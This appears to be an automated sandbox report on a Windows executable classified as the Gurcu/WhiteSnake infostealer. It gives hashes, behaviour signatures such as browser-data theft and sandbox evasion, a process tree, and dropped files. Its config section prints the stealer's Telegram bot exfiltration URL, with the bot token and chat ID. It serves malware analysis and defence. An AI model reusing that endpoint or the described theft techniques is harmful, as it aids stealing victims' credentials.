Analysis

  • max time kernel
    93s
  • max time network
    99s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-12-2024 15:03

General

  • Target

    7d1850d00f469a99e922c4806ee971bb86b97e07ec585ef98536bed6db3b6c29N.exe

  • Size

    5.6MB

  • MD5

    20c1c110a69ba6dc9fb55a1186334290

  • SHA1

    7b35f156d8ef02936af990349d35efd7146380f2

  • SHA256

    7d1850d00f469a99e922c4806ee971bb86b97e07ec585ef98536bed6db3b6c29

  • SHA512

    08eb3ff63e09c6d236ceac3c006c844c48f283c266e8b3fa25ec1ee04d2eca49ec4788534e1ee55749de5ad89ddfa0dbbafa4eb9f30f35cdd783da08a2ad5d10

  • SSDEEP

    98304:aGl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:adOuK6mn9NzgMoYkSIvUcwti7TQlvciE

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7912788699:AAGD1HW4P2288HKKYEhpShtetd37D8GqFZo/sendDocument?chat_id=7781867830&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan

Signatures

  • Gurcu family
  • Gurcu, WhiteSnake

    Gurcu aka WhiteSnake is a malware stealer written in C#.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7d1850d00f469a99e922c4806ee971bb86b97e07ec585ef98536bed6db3b6c29N.exe
    "C:\Users\Admin\AppData\Local\Temp\7d1850d00f469a99e922c4806ee971bb86b97e07ec585ef98536bed6db3b6c29N.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2000
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpCF08.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpCF08.tmp.bat
      2⤵
        PID:2700

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

      Filesize

      1.7MB

      MD5

      65ccd6ecb99899083d43f7c24eb8f869

      SHA1

      27037a9470cc5ed177c0b6688495f3a51996a023

      SHA256

      aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

      SHA512

      533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

    • C:\Users\Admin\AppData\Local\Temp\tmpCF08.tmp.bat

      Filesize

      233B

      MD5

      4190f5667ae27c6abc2d38bbdf5118a0

      SHA1

      f9199debac7879158a37323e93ad7ef60d460201

      SHA256

      f779d5f7c162a4023e3b1d2c7bf61a4e412733ae9185173d7c4c3fca2b852660

      SHA512

      e6a64f34e657ad7ea0f86c6ef916f22a2da65996841a0e17d0cd94bb8bf06d0f40d4071ef5c7e83056933181ab684dc159a98a3328d42378cddfc6bc88b5b344

    • C:\Users\Admin\AppData\Roaming\AdminUserCash\CREDIT~1

      Filesize

      116KB

      MD5

      f70aa3fa04f0536280f872ad17973c3d

      SHA1

      50a7b889329a92de1b272d0ecf5fce87395d3123

      SHA256

      8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

      SHA512

      30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

    • memory/2000-12-0x0000020DAE7C0000-0x0000020DAE872000-memory.dmp

      Filesize

      712KB

    • memory/2000-14-0x0000020DADA60000-0x0000020DADA82000-memory.dmp

      Filesize

      136KB

    • memory/2000-8-0x00007FFD4F460000-0x00007FFD4FF21000-memory.dmp

      Filesize

      10.8MB

    • memory/2000-9-0x0000020D95210000-0x0000020D9522E000-memory.dmp

      Filesize

      120KB

    • memory/2000-10-0x0000020DADDE0000-0x0000020DADE4A000-memory.dmp

      Filesize

      424KB

    • memory/2000-0-0x00007FFD4F463000-0x00007FFD4F465000-memory.dmp

      Filesize

      8KB

    • memory/2000-13-0x0000020DAE870000-0x0000020DAE8C0000-memory.dmp

      Filesize

      320KB

    • memory/2000-7-0x0000020DADB20000-0x0000020DADB96000-memory.dmp

      Filesize

      472KB

    • memory/2000-16-0x0000020DAE940000-0x0000020DAE97A000-memory.dmp

      Filesize

      232KB

    • memory/2000-17-0x0000020DADA30000-0x0000020DADA56000-memory.dmp

      Filesize

      152KB

    • memory/2000-18-0x0000020DAF5A0000-0x0000020DAF8CE000-memory.dmp

      Filesize

      3.2MB

    • memory/2000-44-0x0000020DAE920000-0x0000020DAE932000-memory.dmp

      Filesize

      72KB

    • memory/2000-55-0x00007FFD4F460000-0x00007FFD4FF21000-memory.dmp

      Filesize

      10.8MB

    • memory/2000-67-0x00007FFD4F460000-0x00007FFD4FF21000-memory.dmp

      Filesize

      10.8MB

    • memory/2000-6-0x0000020D951D0000-0x0000020D951DA000-memory.dmp

      Filesize

      40KB

    • memory/2000-1-0x0000020D93050000-0x0000020D935E8000-memory.dmp

      Filesize

      5.6MB